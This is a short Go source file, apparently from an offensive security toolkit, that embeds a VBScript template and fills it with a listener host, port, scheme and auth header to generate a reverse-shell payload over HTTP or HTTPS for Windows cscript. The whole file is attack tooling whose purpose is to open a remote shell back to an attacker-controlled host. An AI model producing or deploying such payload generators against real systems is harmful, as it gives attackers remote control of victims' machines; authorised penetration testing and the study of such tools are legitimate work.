package reverse

import (
	_ "embed"
	"fmt"
)

//go:embed vbs/reverse_http.vbs
var VBSShell string

// Generates a script that can be used to create a reverse shell via vbs (can be run with cscript)
// original source: https://raw.githubusercontent.com/cym13/vbs-reverse-shell/refs/heads/master/reverse_shell.vbs
func (vbs *VBSHTTPPayload) Default(lhost string, lport int, ssl bool, authHeader string) string {
	if ssl {
		return fmt.Sprintf(VBSShell, "https", lhost, lport, authHeader)
	}

	return fmt.Sprintf(VBSShell, "http", lhost, lport, authHeader)
}
